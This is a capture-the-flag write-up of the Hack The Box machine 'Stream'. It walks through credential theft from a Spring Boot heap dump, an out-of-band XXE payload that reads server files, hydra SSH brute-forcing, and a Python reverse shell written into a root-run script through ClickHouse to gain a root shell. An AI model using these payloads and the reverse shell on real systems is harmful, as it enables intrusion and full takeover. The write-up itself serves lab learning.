~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • Layover
  • Stream
  • tryhackme/
  • Wonderland
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • yeswehack/
  • Streamcore
  • HTB - Stream - Season 12


    Reconnaissance:

    Enumerate the ports on the machine and then enumerate vHosts found on the target, this gives us a rough idea of what we are working with. We finally footprint the service by searching for ‘/actuator/heapdump’, this is a Java memory dump for Spring boot ‘/actuator’. A heap dump is primarly a diagnostic logging in Java’s application memory, it enables developers to diagnose issues but for us an attacker it’s a trove of information.

    nmap -sV -sC -v $TARGET

    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
    |_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
    80/tcp   open  http    nginx 1.24.0 (Ubuntu)
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Did not follow redirect to http://api.htb-airport.htb/ # !Vhost redirect here!
    |_http-server-header: nginx/1.24.0 (Ubuntu)
    8081/tcp open  http    Uvicorn
    |_http-server-header: uvicorn
    |_http-title: Site doesn't have a title (application/json).
    | http-methods: 
    |_  Supported Methods: GET
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u “http://htb-airport.htb” -H “Host: FUZZ.htb-airport.htb” -fs 178

            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v2.1.0-dev
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://htb-airport.htb
     :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
     :: Header           : Host: FUZZ.htb-airport.htb
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 40
     :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
     :: Filter           : Response size: 178
    ________________________________________________
    
    db                      [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 79ms]
    api                     [Status: 200, Size: 362, Words: 9, Lines: 1, Duration: 71ms]
    API                     [Status: 200, Size: 362, Words: 9, Lines: 1, Duration: 71ms]
    DB                      [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 69ms]
    :: Progress: [87664/87664] :: Job [1/1] :: 589 req/sec :: Duration: [0:02:37] :: Errors: 0 ::

    This part was long as I needed to footprint the ‘api.htb-airport.htb’ which is a Spring Boot gateway. This means that we can downloads logs from ‘/actuator/heapdump’ and check for some credentials or other sensitive information.

    Searching through the heap-dump using strings and grep for ‘Username’ we find:

    svc_events
    setUsername
    Yl4aCgh4y2PnU
    setPassword
    terminal-edge-pool
    setPoolName

    With our newly acquired credentials we can now login Clickhouse’s API. > svc_events:Yl4aCgh4y2PnU


    Foothold:

    Spend some time getting familiar with the different python scripts on the web server. GET requesting ‘/feeds/aidx’ returns this message: “Ingest does not parse. Full validation happens downstream.”, this is helps us understand our coming XXE won’t be in-band. In order to escalate further we need to exploit a Out-of-band ‘XXE’ sending payloads to ‘/feeds/aidx’ and we use Clickhouse’s API with ‘svc_events’ credentials to read the content of the files. The file can be readed inside of ‘flightleg_json’ in the airline column.

    Step 1(Sending the payload):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE evil [ <!ENTITY pikapi SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>

    Step 2(Reading the file):

    SELECT * FROM flightleg_json

    Normally you would hit /etc/passwd and you can but we need the next user in the exploit chain and it is found in the ‘server.properties’. > svc_infra:“Ny2hdpme$bwT3”

    Adding our payload to legitimate request would end up looking like this:

    # You can just copy paste this payload, it should work 
    <?xml version="1.0"?>
    <!DOCTYPE wow [<!ENTITY hairygorilla SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
    <IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
        Version="22.1" TimeStamp="2026-08-20T09:12:00Z" TransactionIdentifier="420-69">
      <Originator Code="69"/>
      <FlightLeg><LegIdentifier>
        <Airline>&hairygorilla;</Airline>
        <FlightNumber>420</FlightNumber>
        <DepartureAirport>A</DepartureAirport>
        <ArrivalAirport>B</ArrivalAirport>
        <OriginDate>2026-08-20</OriginDate>
      </LegIdentifier>
      <LegData></LegData>
      </FlightLeg>
    </IATA_AIDX_FlightLegNotifRQ>

    Privilege escalation:

    With ‘svc_infra’ credentials we want to look at the ‘/etc/passwd’ file for the name of the next user we want to escalate to. We find ‘martin_cole’ in the file, we bruteforce that users login with hydra and the ‘rockyou.txt’ password list. As the user 'martin_cole', read the ‘user.txt’ flag. In 'martin_cole' home directory we see a folder named ‘backup’, this is for a kopia instance and we’re going to restore previously saved data. This should lead to compromising another account ‘default:N3v3rs33nD4T4’.

    Brute force command:

    # hydra -l martin_cole -P /usr/share/wordlists/rockyou.txt
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
    [DATA] attacking ssh://10.129.170.202:22/
    [22][ssh] host: 10.129.170.202   login: martin_cole   password: tinkerbell
    1 of 1 target successfully completed, 1 valid password found

    Restoring Kopia snapshot:

    # kopia restore
    kopia repository status
    kopia snapshot list --all
    kopia snapshot restore kc43a7ec76aeac204b305df2b777304d1

    Content of snapshot:

     # First line of the error log
      2026.08.25 10:13:42.753114 [ 1759 ] {9ae1c88a-847e-4425-be98-ec6166c77bb2}
      <Error> DynamicQueryHandler: Code: 62. DB::Exception: Double quoted string is not closed: Syntax error: failed at position 1
        ("ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4 ;): "
        ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4 ;
        . . (SYNTAX_ERROR), Stack trace (when copying this message, always include the lines below):

    With those credentials we can now log into the clickhouse API and start running some SQL queries.


    Exploitation:

    The important thing to understand for this next part, is that ‘aidx_quarantine’ is writable and is owned by root. That mean’s we can run anything written to ‘aidx_quarantine’ and we trigger it to launch what we added to the python script as root. We send the payload through Clickhouse’s API as a file() SQL function, next we send a trigger payload and then the Dead letter queue(DLQ) after 2 minute should trigger our payload.

    Injecting the payload:

    We can check the for the files located in the /user_files/ directory and its content:

    # _file selects the name of the script
    SELECT _file FROM file('*', 'rawblob') 
    # Reads the content of the files
    SELECT * FROM file('*', 'rawblob') 

    We insert into aidx_quarantine the python reverse shell:

    INSERT INTO FUNCTION file('aidx_quarantine.py', 'rawBlob') 
    SELECT concat('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.204",6969));
    os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh");')
    FROM system.parts

    Weirdly enough it enters the reverse shell quite a few times, it still works though.

    Trigger payload:

    We write something to ‘kafka-console-producer’ and the timer found at:

    We send the trigger payload:

    echo 'whocares' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
      --bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1

    Set your listener to receive the root shell and wait.

    You can check for the timers if you aren’t sure if it is working with:

    martin_cole@stream:/$ systemctl list-units --all | grep aidx
      aidx-dlq-drainer.service                             loaded    activating start     start AIDX DLQ drainer and quarantine handler
      aidx-ingest.service                                  loaded    active     running         AIDX ingest API (HTTP -> Kafka raw topic)
      aidx-parser.service                                  loaded    active     running         AIDX parser worker (Kafka raw -> JSON topic)
      aidx-dlq-drainer.timer                               loaded    active     running         Run AIDX DLQ drainer every 2 minutes

    You can check the time on the timer with:

    martin_cole@stream:/$ systemctl cat aidx-dlq-drainer.timer
    # /etc/systemd/system/aidx-dlq-drainer.timer
    [Unit]
    Description=Run AIDX DLQ drainer every 2 minutes
    
    [Timer]
    OnBootSec=1min
    OnUnitActiveSec=2min
    AccuracySec=15s
    
    [Install]
    WantedBy=timers.target

    Recap:

    There’s a few users to compromise and it can be a bit confusing so hopefully this section helps with understanding.

    User compromise order:

    unauth -> svc_events -> svc-infra -> martin_cole -> default

    Let’s order up the steps now for greater clarity.

    1. Find and download the heap dump leaking credentials. (ie: ‘/actuator/heapdump’)
    2. Login Clickhouse API as ‘svc_events’
    3. Send Out-of-band ‘XXE’ to ‘/feeds/aidx’ to read the content of ‘server.properties’.
    4. Read the content of the file targeted on step 2 with strings inside ‘flightleg_json’.
    5. Login SSH using ‘svc-infra’ credentials.
    6. Use hydra to bruteforce the user ‘martin_cole’ with the wordlist ‘rockyou.txt’.
    7. Restore Kopia snapshot as ‘martin_cole’.
    8. Read the content of the restored Kopia snapshot.
    9. Write a python reverse shell to ‘aidx_quarantine.py’.
    10. Send trigger to the DLQ ‘kafka-console-producer.sh’.
    11. Wait for ‘aidx-dlq-drainer.timer’ to send a shell to your listener.
    12. ???
    13. Profit